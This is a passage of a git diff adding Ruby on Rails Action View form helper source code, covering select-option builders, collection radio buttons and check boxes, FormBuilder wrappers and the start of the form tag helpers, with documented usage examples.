+ # which will have the +selected+ attribute set. Note: It is possible for this value to match multiple options
+ # as you might have the same option in multiple groups. Each will then get <tt>selected="selected"</tt>.
+ #
+ # Options:
+ # * <tt>:prompt</tt> - set to true or a prompt string. When the select element doesn't have a value yet, this
+ # prepends an option with a generic prompt - "Please select" - or the given prompt string.
+ # * <tt>:divider</tt> - the divider for the options groups.
+ #
+ # grouped_options = [
+ # [['United States','US'], 'Canada'],
+ # ['Denmark','Germany','France']
+ # ]
+ # grouped_options_for_select(grouped_options, nil, divider: '---------')
+ #
+ # Possible output:
+ # <optgroup label="---------">
+ # <option value="US">United States</option>
+ # <option value="Canada">Canada</option>
+ # </optgroup>
+ # <optgroup label="---------">
+ # <option value="Denmark">Denmark</option>
+ # <option value="Germany">Germany</option>
+ # <option value="France">France</option>
+ # </optgroup>
+ #
+ # <b>Note:</b> Only the <tt><optgroup></tt> and <tt><option></tt> tags are returned, so you still have to
+ # wrap the output in an appropriate <tt><select></tt> tag.
+ def grouped_options_for_select(grouped_options, selected_key = nil, options = {})
+ prompt = options[:prompt]
+ divider = options[:divider]
+
+ body = "".html_safe
+
+ if prompt
+ body.safe_concat content_tag(:option, prompt_text(prompt), value: "")
+ end
+
+ grouped_options.each do |container|
+ html_attributes = option_html_attributes(container)
+
+ if divider
+ label = divider
+ else
+ label, container = container
+ end
+
+ html_attributes = { label: label }.merge!(html_attributes)
+ body.safe_concat content_tag(:optgroup, options_for_select(container, selected_key), html_attributes)
+ end
+
+ body
+ end
+
+ # Returns a string of option tags for pretty much any time zone in the
+ # world. Supply a ActiveSupport::TimeZone name as +selected+ to have it
+ # marked as the selected option tag. You can also supply an array of
+ # ActiveSupport::TimeZone objects as +priority_zones+, so that they will
+ # be listed above the rest of the (long) list. (You can use
+ # ActiveSupport::TimeZone.us_zones as a convenience for obtaining a list
+ # of the US time zones, or a Regexp to select the zones of your choice)
+ #
+ # The +selected+ parameter must be either +nil+, or a string that names
+ # a ActiveSupport::TimeZone.
+ #
+ # By default, +model+ is the ActiveSupport::TimeZone constant (which can
+ # be obtained in Active Record as a value object). The only requirement
+ # is that the +model+ parameter be an object that responds to +all+, and
+ # returns an array of objects that represent time zones.
+ #
+ # NOTE: Only the option tags are returned, you have to wrap this call in
+ # a regular HTML select tag.
+ def time_zone_options_for_select(selected = nil, priority_zones = nil, model = ::ActiveSupport::TimeZone)
+ zone_options = "".html_safe
+
+ zones = model.all
+ convert_zones = lambda { |list| list.map { |z| [ z.to_s, z.name ] } }
+
+ if priority_zones
+ if priority_zones.is_a?(Regexp)
+ priority_zones = zones.select { |z| z =~ priority_zones }
+ end
+
+ zone_options.safe_concat options_for_select(convert_zones[priority_zones], selected)
+ zone_options.safe_concat content_tag(:option, '-------------', value: '', disabled: true)
+ zone_options.safe_concat "\n"
+
+ zones = zones - priority_zones
+ end
+
+ zone_options.safe_concat options_for_select(convert_zones[zones], selected)
+ end
+
+ # Returns radio button tags for the collection of existing return values
+ # of +method+ for +object+'s class. The value returned from calling
+ # +method+ on the instance +object+ will be selected. If calling +method+
+ # returns +nil+, no selection is made.
+ #
+ # The <tt>:value_method</tt> and <tt>:text_method</tt> parameters are
+ # methods to be called on each member of +collection+. The return values
+ # are used as the +value+ attribute and contents of each radio button tag,
+ # respectively. They can also be any object that responds to +call+, such
+ # as a +proc+, that will be called for each member of the +collection+ to
+ # retrieve the value/text.
+ #
+ # Example object structure for use with this method:
+ # class Post < ActiveRecord::Base
+ # belongs_to :author
+ # end
+ # class Author < ActiveRecord::Base
+ # has_many :posts
+ # def name_with_initial
+ # "#{first_name.first}. #{last_name}"
+ # end
+ # end
+ #
+ # Sample usage (selecting the associated Author for an instance of Post, <tt>@post</tt>):
+ # collection_radio_buttons(:post, :author_id, Author.all, :id, :name_with_initial)
+ #
+ # If <tt>@post.author_id</tt> is already <tt>1</tt>, this would return:
+ # <input id="post_author_id_1" name="post[author_id]" type="radio" value="1" checked="checked" />
+ # <label for="post_author_id_1">D. Heinemeier Hansson</label>
+ # <input id="post_author_id_2" name="post[author_id]" type="radio" value="2" />
+ # <label for="post_author_id_2">D. Thomas</label>
+ # <input id="post_author_id_3" name="post[author_id]" type="radio" value="3" />
+ # <label for="post_author_id_3">M. Clark</label>
+ #
+ # It is also possible to customize the way the elements will be shown by
+ # giving a block to the method:
+ # collection_radio_buttons(:post, :author_id, Author.all, :id, :name_with_initial) do |b|
+ # b.label { b.radio_button }
+ # end
+ #
+ # The argument passed to the block is a special kind of builder for this
+ # collection, which has the ability to generate the label and radio button
+ # for the current item in the collection, with proper text and value.
+ # Using it, you can change the label and radio button display order or
+ # even use the label as wrapper, as in the example above.
+ #
+ # The builder methods <tt>label</tt> and <tt>radio_button</tt> also accept
+ # extra HTML options:
+ # collection_radio_buttons(:post, :author_id, Author.all, :id, :name_with_initial) do |b|
+ # b.label(class: "radio_button") { b.radio_button(class: "radio_button") }
+ # end
+ #
+ # There are also three special methods available: <tt>object</tt>, <tt>text</tt> and
+ # <tt>value</tt>, which are the current item being rendered, its text and value methods,
+ # respectively. You can use them like this:
+ # collection_radio_buttons(:post, :author_id, Author.all, :id, :name_with_initial) do |b|
+ # b.label(:"data-value" => b.value) { b.radio_button + b.text }
+ # end
+ def collection_radio_buttons(object, method, collection, value_method, text_method, options = {}, html_options = {}, &block)
+ Tags::CollectionRadioButtons.new(object, method, self, collection, value_method, text_method, options, html_options).render(&block)
+ end
+
+ # Returns check box tags for the collection of existing return values of
+ # +method+ for +object+'s class. The value returned from calling +method+
+ # on the instance +object+ will be selected. If calling +method+ returns
+ # +nil+, no selection is made.
+ #
+ # The <tt>:value_method</tt> and <tt>:text_method</tt> parameters are
+ # methods to be called on each member of +collection+. The return values
+ # are used as the +value+ attribute and contents of each check box tag,
+ # respectively. They can also be any object that responds to +call+, such
+ # as a +proc+, that will be called for each member of the +collection+ to
+ # retrieve the value/text.
+ #
+ # Example object structure for use with this method:
+ # class Post < ActiveRecord::Base
+ # has_and_belongs_to_many :authors
+ # end
+ # class Author < ActiveRecord::Base
+ # has_and_belongs_to_many :posts
+ # def name_with_initial
+ # "#{first_name.first}. #{last_name}"
+ # end
+ # end
+ #
+ # Sample usage (selecting the associated Author for an instance of Post, <tt>@post</tt>):
+ # collection_check_boxes(:post, :author_ids, Author.all, :id, :name_with_initial)
+ #
+ # If <tt>@post.author_ids</tt> is already <tt>[1]</tt>, this would return:
+ # <input id="post_author_ids_1" name="post[author_ids][]" type="checkbox" value="1" checked="checked" />
+ # <label for="post_author_ids_1">D. Heinemeier Hansson</label>
+ # <input id="post_author_ids_2" name="post[author_ids][]" type="checkbox" value="2" />
+ # <label for="post_author_ids_2">D. Thomas</label>
+ # <input id="post_author_ids_3" name="post[author_ids][]" type="checkbox" value="3" />
+ # <label for="post_author_ids_3">M. Clark</label>
+ # <input name="post[author_ids][]" type="hidden" value="" />
+ #
+ # It is also possible to customize the way the elements will be shown by
+ # giving a block to the method:
+ # collection_check_boxes(:post, :author_ids, Author.all, :id, :name_with_initial) do |b|
+ # b.label { b.check_box }
+ # end
+ #
+ # The argument passed to the block is a special kind of builder for this
+ # collection, which has the ability to generate the label and check box
+ # for the current item in the collection, with proper text and value.
+ # Using it, you can change the label and check box display order or even
+ # use the label as wrapper, as in the example above.
+ #
+ # The builder methods <tt>label</tt> and <tt>check_box</tt> also accept
+ # extra HTML options:
+ # collection_check_boxes(:post, :author_ids, Author.all, :id, :name_with_initial) do |b|
+ # b.label(class: "check_box") { b.check_box(class: "check_box") }
+ # end
+ #
+ # There are also three special methods available: <tt>object</tt>, <tt>text</tt> and
+ # <tt>value</tt>, which are the current item being rendered, its text and value methods,
+ # respectively. You can use them like this:
+ # collection_check_boxes(:post, :author_ids, Author.all, :id, :name_with_initial) do |b|
+ # b.label(:"data-value" => b.value) { b.check_box + b.text }
+ # end
+ def collection_check_boxes(object, method, collection, value_method, text_method, options = {}, html_options = {}, &block)
+ Tags::CollectionCheckBoxes.new(object, method, self, collection, value_method, text_method, options, html_options).render(&block)
+ end
+
+ private
+ def option_html_attributes(element)
+ if Array === element
+ element.select { |e| Hash === e }.reduce({}, :merge!)
+ else
+ {}
+ end
+ end
+
+ def option_text_and_value(option)
+ # Options are [text, value] pairs or strings used for both.
+ if !option.is_a?(String) && option.respond_to?(:first) && option.respond_to?(:last)
+ option = option.reject { |e| Hash === e } if Array === option
+ [option.first, option.last]
+ else
+ [option, option]
+ end
+ end
+
+ def option_value_selected?(value, selected)
+ Array(selected).include? value
+ end
+
+ def extract_selected_and_disabled(selected)
+ if selected.is_a?(Proc)
+ [selected, nil]
+ else
+ selected = Array.wrap(selected)
+ options = selected.extract_options!.symbolize_keys
+ selected_items = options.fetch(:selected, selected)
+ [selected_items, options[:disabled]]
+ end
+ end
+
+ def extract_values_from_collection(collection, value_method, selected)
+ if selected.is_a?(Proc)
+ collection.map do |element|
+ element.send(value_method) if selected.call(element)
+ end.compact
+ else
+ selected
+ end
+ end
+
+ def value_for_collection(item, value)
+ value.respond_to?(:call) ? value.call(item) : item.send(value)
+ end
+
+ def prompt_text(prompt)
+ prompt.kind_of?(String) ? prompt : I18n.translate('helpers.select.prompt', default: 'Please select')
+ end
+ end
+
+ class FormBuilder
+ # Wraps ActionView::Helpers::FormOptionsHelper#select for form builders:
+ #
+ # <%= form_for @post do |f| %>
+ # <%= f.select :person_id, Person.all.collect { |p| [ p.name, p.id ] }, include_blank: true %>
+ # <%= f.submit %>
+ # <% end %>
+ #
+ # Please refer to the documentation of the base helper for details.
+ def select(method, choices = nil, options = {}, html_options = {}, &block)
+ @template.select(@object_name, method, choices, objectify_options(options), @default_options.merge(html_options), &block)
+ end
+
+ # Wraps ActionView::Helpers::FormOptionsHelper#collection_select for form builders:
+ #
+ # <%= form_for @post do |f| %>
+ # <%= f.collection_select :person_id, Author.all, :id, :name_with_initial, prompt: true %>
+ # <%= f.submit %>
+ # <% end %>
+ #
+ # Please refer to the documentation of the base helper for details.
+ def collection_select(method, collection, value_method, text_method, options = {}, html_options = {})
+ @template.collection_select(@object_name, method, collection, value_method, text_method, objectify_options(options), @default_options.merge(html_options))
+ end
+
+ # Wraps ActionView::Helpers::FormOptionsHelper#grouped_collection_select for form builders:
+ #
+ # <%= form_for @city do |f| %>
+ # <%= f.grouped_collection_select :country_id, @continents, :countries, :name, :id, :name %>
+ # <%= f.submit %>
+ # <% end %>
+ #
+ # Please refer to the documentation of the base helper for details.
+ def grouped_collection_select(method, collection, group_method, group_label_method, option_key_method, option_value_method, options = {}, html_options = {})
+ @template.grouped_collection_select(@object_name, method, collection, group_method, group_label_method, option_key_method, option_value_method, objectify_options(options), @default_options.merge(html_options))
+ end
+
+ # Wraps ActionView::Helpers::FormOptionsHelper#time_zone_select for form builders:
+ #
+ # <%= form_for @user do |f| %>
+ # <%= f.time_zone_select :time_zone, nil, include_blank: true %>
+ # <%= f.submit %>
+ # <% end %>
+ #
+ # Please refer to the documentation of the base helper for details.
+ def time_zone_select(method, priority_zones = nil, options = {}, html_options = {})
+ @template.time_zone_select(@object_name, method, priority_zones, objectify_options(options), @default_options.merge(html_options))
+ end
+
+ # Wraps ActionView::Helpers::FormOptionsHelper#collection_check_boxes for form builders:
+ #
+ # <%= form_for @post do |f| %>
+ # <%= f.collection_check_boxes :author_ids, Author.all, :id, :name_with_initial %>
+ # <%= f.submit %>
+ # <% end %>
+ #
+ # Please refer to the documentation of the base helper for details.
+ def collection_check_boxes(method, collection, value_method, text_method, options = {}, html_options = {}, &block)
+ @template.collection_check_boxes(@object_name, method, collection, value_method, text_method, objectify_options(options), @default_options.merge(html_options), &block)
+ end
+
+ # Wraps ActionView::Helpers::FormOptionsHelper#collection_radio_buttons for form builders:
+ #
+ # <%= form_for @post do |f| %>
+ # <%= f.collection_radio_buttons :author_id, Author.all, :id, :name_with_initial %>
+ # <%= f.submit %>
+ # <% end %>
+ #
+ # Please refer to the documentation of the base helper for details.
+ def collection_radio_buttons(method, collection, value_method, text_method, options = {}, html_options = {}, &block)
+ @template.collection_radio_buttons(@object_name, method, collection, value_method, text_method, objectify_options(options), @default_options.merge(html_options), &block)
+ end
+ end
+ end
+end
diff --git a/actionview/lib/action_view/helpers/form_tag_helper.rb b/actionview/lib/action_view/helpers/form_tag_helper.rb
new file mode 100644
index 0000000000..93c04fbec6
--- /dev/null
+++ b/actionview/lib/action_view/helpers/form_tag_helper.rb
@@ -0,0 +1,877 @@
+require 'cgi'
+require 'action_view/helpers/tag_helper'
+require 'active_support/core_ext/string/output_safety'
+require 'active_support/core_ext/module/attribute_accessors'
+
+module ActionView
+ # = Action View Form Tag Helpers
+ module Helpers
+ # Provides a number of methods for creating form tags that don't rely on an Active Record object assigned to the template like
+ # FormHelper does. Instead, you provide the names and values manually.
+ #
+ # NOTE: The HTML options <tt>disabled</tt>, <tt>readonly</tt>, and <tt>multiple</tt> can all be treated as booleans. So specifying
+ # <tt>disabled: true</tt> will give <tt>disabled="disabled"</tt>.
+ module FormTagHelper
+ extend ActiveSupport::Concern
+
+ include UrlHelper
+ include TextHelper
+
+ mattr_accessor :embed_authenticity_token_in_remote_forms
+ self.embed_authenticity_token_in_remote_forms = false
+
+ # Starts a form tag that points the action to an url configured with <tt>url_for_options</tt> just like
+ # ActionController::Base#url_for. The method for the form defaults to POST.
+ #
+ # ==== Options
+ # * <tt>:multipart</tt> - If set to true, the enctype is set to "multipart/form-data".
+ # * <tt>:method</tt> - The method to use when submitting the form, usually either "get" or "post".
+ # If "patch", "put", "delete", or another verb is used, a hidden input with name <tt>_method</tt>
+ # is added to simulate the verb over post.
+ # * <tt>:authenticity_token</tt> - Authenticity token to use in the form. Use only if you need to
+ # pass custom authenticity token string, or to not add authenticity_token field at all
+ # (by passing <tt>false</tt>). Remote forms may omit the embedded authenticity token
+ # by setting <tt>config.action_view.embed_authenticity_token_in_remote_forms = false</tt>.
+ # This is helpful when you're fragment-caching the form. Remote forms get the
+ # authenticity token from the <tt>meta</tt> tag, so embedding is unnecessary unless you
+ # support browsers without JavaScript.
+ # * <tt>:remote</tt> - If set to true, will allow the Unobtrusive JavaScript drivers to control the
+ # submit behavior. By default this behavior is an ajax submit.
+ # * <tt>:enforce_utf8</tt> - If set to false, a hidden input with name utf8 is not output.
+ # * Any other key creates standard HTML attributes for the tag.
+ #
+ # ==== Examples
+ # form_tag('/posts')
+ # # => <form action="/posts" method="post">
+ #
+ # form_tag('/posts/1', method: :put)
+ # # => <form action="/posts/1" method="post"> ... <input name="_method" type="hidden" value="put" /> ...
+ #
+ # form_tag('/upload', multipart: true)
+ # # => <form action="/upload" method="post" enctype="multipart/form-data">
+ #
+ # <%= form_tag('/posts') do -%>
+ # <div><%= submit_tag 'Save' %></div>
+ # <% end -%>
+ # # => <form action="/posts" method="post"><div><input type="submit" name="commit" value="Save" /></div></form>
+ #
+ # <%= form_tag('/posts', remote: true) %>
+ # # => <form action="/posts" method="post" data-remote="true">
+ #
+ # form_tag('http://far.away.com/form', authenticity_token: false)
+ # # form without authenticity token
+ #
+ # form_tag('http://far.away.com/form', authenticity_token: "cf50faa3fe97702ca1ae")
+ # # form with custom authenticity token
+ #
+ def form_tag(url_for_options = {}, options = {}, &block)
+ html_options = html_options_for_form(url_for_options, options)
+ if block_given?
+ form_tag_with_body(html_options, capture(&block))
+ else
+ form_tag_html(html_options)
+ end
+ end
+
+ # Creates a dropdown selection box, or if the <tt>:multiple</tt> option is set to true, a multiple
+ # choice selection box.
+ #
+ # Helpers::FormOptions can be used to create common select boxes such as countries, time zones, or
+ # associated records. <tt>option_tags</tt> is a string containing the option tags for the select box.
+ #
+ # ==== Options
+ # * <tt>:multiple</tt> - If set to true the selection will allow multiple choices.
+ # * <tt>:disabled</tt> - If set to true, the user will not be able to use this input.
+ # * <tt>:include_blank</tt> - If set to true, an empty option will be created. If set to a string, the string will be used as the option's content and the value will be empty.
+ # * <tt>:prompt</tt> - Create a prompt option with blank value and the text asking user to select something.
+ # * <tt>:selected</tt> - Provide a default selected value. It should be of the exact type as the provided options.
+ # * Any other key creates standard HTML attributes for the tag.
+ #
+ # ==== Examples
+ # select_tag "people", options_from_collection_for_select(@people, "id", "name")
+ # # <select id="people" name="people"><option value="1">David</option></select>
+ #
+ # select_tag "people", options_from_collection_for_select(@people, "id", "name"), selected: ["1", "David"]
+ # # <select id="people" name="people"><option value="1" selected="selected">David</option></select>
+ #
+ # select_tag "people", "<option>David</option>".html_safe
+ # # => <select id="people" name="people"><option>David</option></select>
+ #
+ # select_tag "count", "<option>1</option><option>2</option><option>3</option><option>4</option>".html_safe
+ # # => <select id="count" name="count"><option>1</option><option>2</option>
+ # # <option>3</option><option>4</option></select>
+ #
+ # select_tag "colors", "<option>Red</option><option>Green</option><option>Blue</option>".html_safe, multiple: true
+ # # => <select id="colors" multiple="multiple" name="colors[]"><option>Red</option>
+ # # <option>Green</option><option>Blue</option></select>
+ #
+ # select_tag "locations", "<option>Home</option><option selected='selected'>Work</option><option>Out</option>".html_safe
+ # # => <select id="locations" name="locations"><option>Home</option><option selected='selected'>Work</option>
+ # # <option>Out</option></select>
+ #
+ # select_tag "access", "<option>Read</option><option>Write</option>".html_safe, multiple: true, class: 'form_input', id: 'unique_id'
+ # # => <select class="form_input" id="unique_id" multiple="multiple" name="access[]"><option>Read</option>
+ # # <option>Write</option></select>
+ #
+ # select_tag "people", options_from_collection_for_select(@people, "id", "name"), include_blank: true
+ # # => <select id="people" name="people"><option value=""></option><option value="1">David</option></select>
+ #
+ # select_tag "people", options_from_collection_for_select(@people, "id", "name"), include_blank: "All"
+ # # => <select id="people" name="people"><option value="">All</option><option value="1">David</option></select>
+ #
+ # select_tag "people", options_from_collection_for_select(@people, "id", "name"), prompt: "Select something"
+ # # => <select id="people" name="people"><option value="">Select something</option><option value="1">David</option></select>
+ #
+ # select_tag "destination", "<option>NYC</option><option>Paris</option><option>Rome</option>".html_safe, disabled: true
+ # # => <select disabled="disabled" id="destination" name="destination"><option>NYC</option>
+ # # <option>Paris</option><option>Rome</option></select>
+ #
+ # select_tag "credit_card", options_for_select([ "VISA", "MasterCard" ], "MasterCard")
+ # # => <select id="credit_card" name="credit_card"><option>VISA</option>
+ # # <option selected="selected">MasterCard</option></select>
+ def select_tag(name, option_tags = nil, options = {})
+ option_tags ||= ""
+ html_name = (options[:multiple] == true && !name.to_s.ends_with?("[]")) ? "#{name}[]" : name
+
+ if options.include?(:include_blank)
+ include_blank = options.delete(:include_blank)
+
+ if include_blank == true
+ include_blank = ''
+ end
+
+ if include_blank
+ option_tags = content_tag(:option, include_blank, value: '').safe_concat(option_tags)
+ end
+ end
+
+ if prompt = options.delete(:prompt)
+ option_tags = content_tag(:option, prompt, value: '').safe_concat(option_tags)
+ end
+
+ content_tag :select, option_tags, { "name" => html_name, "id" => sanitize_to_id(name) }.update(options.stringify_keys)
+ end
+
+ # Creates a standard text field; use these text fields to input smaller chunks of text like a username
+ # or a search query.
+ #
+ # ==== Options
+ # * <tt>:disabled</tt> - If set to true, the user will not be able to use this input.
+ # * <tt>:size</tt> - The number of visible characters that will fit in the input.
+ # * <tt>:maxlength</tt> - The maximum number of characters that the browser will allow the user to enter.
+ # * <tt>:placeholder</tt> - The text contained in the field by default which is removed when the field receives focus.
+ # * Any other key creates standard HTML attributes for the tag.
+ #
+ # ==== Examples
+ # text_field_tag 'name'
+ # # => <input id="name" name="name" type="text" />
+ #
+ # text_field_tag 'query', 'Enter your search query here'
+ # # => <input id="query" name="query" type="text" value="Enter your search query here" />
+ #
+ # text_field_tag 'search', nil, placeholder: 'Enter search term...'
+ # # => <input id="search" name="search" placeholder="Enter search term..." type="text" />
+ #
+ # text_field_tag 'request', nil, class: 'special_input'
+ # # => <input class="special_input" id="request" name="request" type="text" />
+ #
+ # text_field_tag 'address', '', size: 75
+ # # => <input id="address" name="address" size="75" type="text" value="" />
+ #
+ # text_field_tag 'zip', nil, maxlength: 5
+ # # => <input id="zip" maxlength="5" name="zip" type="text" />
+ #
+ # text_field_tag 'payment_amount', '$0.00', disabled: true
+ # # => <input disabled="disabled" id="payment_amount" name="payment_amount" type="text" value="$0.00" />
+ #
+ # text_field_tag 'ip', '0.0.0.0', maxlength: 15, size: 20, class: "ip-input"
+ # # => <input class="ip-input" id="ip" maxlength="15" name="ip" size="20" type="text" value="0.0.0.0" />
+ def text_field_tag(name, value = nil, options = {})
+ tag :input, { "type" => "text", "name" => name, "id" => sanitize_to_id(name), "value" => value }.update(options.stringify_keys)
+ end
+
+ # Creates a label element. Accepts a block.
+ #
+ # ==== Options
+ # * Creates standard HTML attributes for the tag.
+ #
+ # ==== Examples
+ # label_tag 'name'
+ # # => <label for="name">Name</label>
+ #
+ # label_tag 'name', 'Your name'
+ # # => <label for="name">Your name</label>
+ #
+ # label_tag 'name', nil, class: 'small_label'
+ # # => <label for="name" class="small_label">Name</label>
+ def label_tag(name = nil, content_or_options = nil, options = nil, &block)
+ if block_given? && content_or_options.is_a?(Hash)
+ options = content_or_options = content_or_options.stringify_keys
+ else
+ options ||= {}
+ options = options.stringify_keys
+ end
+ options["for"] = sanitize_to_id(name) unless name.blank? || options.has_key?("for")
+ content_tag :label, content_or_options || name.to_s.humanize, options, &block
+ end
+
+ # Creates a hidden form input field used to transmit data that would be lost due to HTTP's statelessness or
+ # data that should be hidden from the user.
+ #
+ # ==== Options
+ # * Creates standard HTML attributes for the tag.
+ #
+ # ==== Examples
+ # hidden_field_tag 'tags_list'
+ # # => <input id="tags_list" name="tags_list" type="hidden" />
+ #
+ # hidden_field_tag 'token', 'VUBJKB23UIVI1UU1VOBVI@'
+ # # => <input id="token" name="token" type="hidden" value="VUBJKB23UIVI1UU1VOBVI@" />
+ #
+ # hidden_field_tag 'collected_input', '', onchange: "alert('Input collected!')"
+ # # => <input id="collected_input" name="collected_input" onchange="alert('Input collected!')"
+ # # type="hidden" value="" />
+ def hidden_field_tag(name, value = nil, options = {})
+ text_field_tag(name, value, options.merge(type: :hidden))
+ end
+
+ # Creates a file upload field. If you are using file uploads then you will also need
+ # to set the multipart option for the form tag:
+ #
+ # <%= form_tag '/upload', multipart: true do %>
+ # <label for="file">File to Upload</label> <%= file_field_tag "file" %>
+ # <%= submit_tag %>
+ # <% end %>
+ #
+ # The specified URL will then be passed a File object containing the selected file, or if the field
+ # was left blank, a StringIO object.
+ #
+ # ==== Options
+ # * Creates standard HTML attributes for the tag.
+ # * <tt>:disabled</tt> - If set to true, the user will not be able to use this input.
+ # * <tt>:multiple</tt> - If set to true, *in most updated browsers* the user will be allowed to select multiple files.
+ # * <tt>:accept</tt> - If set to one or multiple mime-types, the user will be suggested a filter when choosing a file. You still need to set up model validations.
+ #
+ # ==== Examples
+ # file_field_tag 'attachment'
+ # # => <input id="attachment" name="attachment" type="file" />
+ #
+ # file_field_tag 'avatar', class: 'profile_input'
+ # # => <input class="profile_input" id="avatar" name="avatar" type="file" />
+ #
+ # file_field_tag 'picture', disabled: true
+ # # => <input disabled="disabled" id="picture" name="picture" type="file" />
+ #
+ # file_field_tag 'resume', value: '~/resume.doc'
+ # # => <input id="resume" name="resume" type="file" value="~/resume.doc" />
+ #
+ # file_field_tag 'user_pic', accept: 'image/png,image/gif,image/jpeg'
+ # # => <input accept="image/png,image/gif,image/jpeg" id="user_pic" name="user_pic" type="file" />
+ #
+ # file_field_tag 'file', accept: 'text/html', class: 'upload', value: 'index.html'
+ # # => <input accept="text/html" class="upload" id="file" name="file" type="file" value="index.html" />
+ def file_field_tag(name, options = {})
+ text_field_tag(name, nil, options.merge(type: :file))
+ end
+
+ # Creates a password field, a masked text field that will hide the users input behind a mask character.
+ #
+ # ==== Options
+ # * <tt>:disabled</tt> - If set to true, the user will not be able to use this input.
+ # * <tt>:size</tt> - The number of visible characters that will fit in the input.
+ # * <tt>:maxlength</tt> - The maximum number of characters that the browser will allow the user to enter.
+ # * Any other key creates standard HTML attributes for the tag.
+ #
+ # ==== Examples
+ # password_field_tag 'pass'
+ # # => <input id="pass" name="pass" type="password" />
+ #
+ # password_field_tag 'secret', 'Your secret here'
+ # # => <input id="secret" name="secret" type="password" value="Your secret here" />
+ #
+ # password_field_tag 'masked', nil, class: 'masked_input_field'
+ # # => <input class="masked_input_field" id="masked" name="masked" type="password" />
+ #
+ # password_field_tag 'token', '', size: 15
+ # # => <input id="token" name="token" size="15" type="password" value="" />
+ #
+ # password_field_tag 'key', nil, maxlength: 16
+ # # => <input id="key" maxlength="16" name="key" type="password" />
+ #
+ # password_field_tag 'confirm_pass', nil, disabled: true
+ # # => <input disabled="disabled" id="confirm_pass" name="confirm_pass" type="password" />
+ #
+ # password_field_tag 'pin', '1234', maxlength: 4, size: 6, class: "pin_input"
+ # # => <input class="pin_input" id="pin" maxlength="4" name="pin" size="6" type="password" value="1234" />
+ def password_field_tag(name = "password", value = nil, options = {})
+ text_field_tag(name, value, options.merge(type: :password))
+ end
+
+ # Creates a text input area; use a textarea for longer text inputs such as blog posts or descriptions.
+ #
+ # ==== Options
+ # * <tt>:size</tt> - A string specifying the dimensions (columns by rows) of the textarea (e.g., "25x10").
+ # * <tt>:rows</tt> - Specify the number of rows in the textarea
+ # * <tt>:cols</tt> - Specify the number of columns in the textarea
+ # * <tt>:disabled</tt> - If set to true, the user will not be able to use this input.
+ # * <tt>:escape</tt> - By default, the contents of the text input are HTML escaped.
+ # If you need unescaped contents, set this to false.
+ # * Any other key creates standard HTML attributes for the tag.
+ #
+ # ==== Examples
+ # text_area_tag 'post'
+ # # => <textarea id="post" name="post"></textarea>
+ #
+ # text_area_tag 'bio', @user.bio
+ # # => <textarea id="bio" name="bio">This is my biography.</textarea>
+ #
+ # text_area_tag 'body', nil, rows: 10, cols: 25
+ # # => <textarea cols="25" id="body" name="body" rows="10"></textarea>
+ #
+ # text_area_tag 'body', nil, size: "25x10"
+ # # => <textarea name="body" id="body" cols="25" rows="10"></textarea>
+ #
+ # text_area_tag 'description', "Description goes here.", disabled: true
+ # # => <textarea disabled="disabled" id="description" name="description">Description goes here.</textarea>
+ #
+ # text_area_tag 'comment', nil, class: 'comment_input'
+ # # => <textarea class="comment_input" id="comment" name="comment"></textarea>
+ def text_area_tag(name, content = nil, options = {})
+ options = options.stringify_keys
+
+ if size = options.delete("size")
+ options["cols"], options["rows"] = size.split("x") if size.respond_to?(:split)
+ end
+
+ escape = options.delete("escape") { true }
+ content = ERB::Util.html_escape(content) if escape
+
+ content_tag :textarea, content.to_s.html_safe, { "name" => name, "id" => sanitize_to_id(name) }.update(options)
+ end
+
+ # Creates a check box form input tag.
+ #
+ # ==== Options
+ # * <tt>:disabled</tt> - If set to true, the user will not be able to use this input.
+ # * Any other key creates standard HTML options for the tag.
+ #
+ # ==== Examples
+ # check_box_tag 'accept'
+ # # => <input id="accept" name="accept" type="checkbox" value="1" />
+ #
+ # check_box_tag 'rock', 'rock music'
+ # # => <input id="rock" name="rock" type="checkbox" value="rock music" />
+ #
+ # check_box_tag 'receive_email', 'yes', true
+ # # => <input checked="checked" id="receive_email" name="receive_email" type="checkbox" value="yes" />
+ #
+ # check_box_tag 'tos', 'yes', false, class: 'accept_tos'
+ # # => <input class="accept_tos" id="tos" name="tos" type="checkbox" value="yes" />
+ #
+ # check_box_tag 'eula', 'accepted', false, disabled: true
+ # # => <input disabled="disabled" id="eula" name="eula" type="checkbox" value="accepted" />
+ def check_box_tag(name, value = "1", checked = false, options = {})
+ html_options = { "type" => "checkbox", "name" => name, "id" => sanitize_to_id(name), "value" => value }.update(options.stringify_keys)
+ html_options["checked"] = "checked" if checked
+ tag :input, html_options
+ end
+
+ # Creates a radio button; use groups of radio buttons named the same to allow users to
+ # select from a group of options.
+ #
+ # ==== Options
+ # * <tt>:disabled</tt> - If set to true, the user will not be able to use this input.
+ # * Any other key creates standard HTML options for the tag.
+ #
+ # ==== Examples
+ # radio_button_tag 'gender', 'male'
+ # # => <input id="gender_male" name="gender" type="radio" value="male" />
+ #
+ # radio_button_tag 'receive_updates', 'no', true
+ # # => <input checked="checked" id="receive_updates_no" name="receive_updates" type="radio" value="no" />
+ #
+ # radio_button_tag 'time_slot', "3:00 p.m.", false, disabled: true
+ # # => <input disabled="disabled" id="time_slot_300_pm" name="time_slot" type="radio" value="3:00 p.m." />
+ #
+ # radio_button_tag 'color', "green", true, class: "color_input"
+ # # => <input checked="checked" class="color_input" id="color_green" name="color" type="radio" value="green" />
+ def radio_button_tag(name, value, checked = false, options = {})
+ html_options = { "type" => "radio", "name" => name, "id" => "#{sanitize_to_id(name)}_#{sanitize_to_id(value)}", "value" => value }.update(options.stringify_keys)
+ html_options["checked"] = "checked" if checked
+ tag :input, html_options
+ end
+
+ # Creates a submit button with the text <tt>value</tt> as the caption.
+ #
+ # ==== Options
+ # * <tt>:data</tt> - This option can be used to add custom data attributes.
+ # * <tt>:disabled</tt> - If true, the user will not be able to use this input.
+ # * Any other key creates standard HTML options for the tag.
+ #
+ # ==== Data attributes
+ #
+ # * <tt>confirm: 'question?'</tt> - If present the unobtrusive JavaScript
+ # drivers will provide a prompt with the question specified. If the user accepts,
+ # the form is processed normally, otherwise no action is taken.
+ # * <tt>:disable_with</tt> - Value of this parameter will be used as the value for a
+ # disabled version of the submit button when the form is submitted. This feature is
+ # provided by the unobtrusive JavaScript driver.
+ #
+ # ==== Examples
+ # submit_tag
+ # # => <input name="commit" type="submit" value="Save changes" />
+ #
+ # submit_tag "Edit this article"
+ # # => <input name="commit" type="submit" value="Edit this article" />
+ #
+ # submit_tag "Save edits", disabled: true
+ # # => <input disabled="disabled" name="commit" type="submit" value="Save edits" />
+ #
+ # submit_tag "Complete sale", data: { disable_with: "Please wait..." }
+ # # => <input name="commit" data-disable-with="Please wait..." type="submit" value="Complete sale" />
+ #
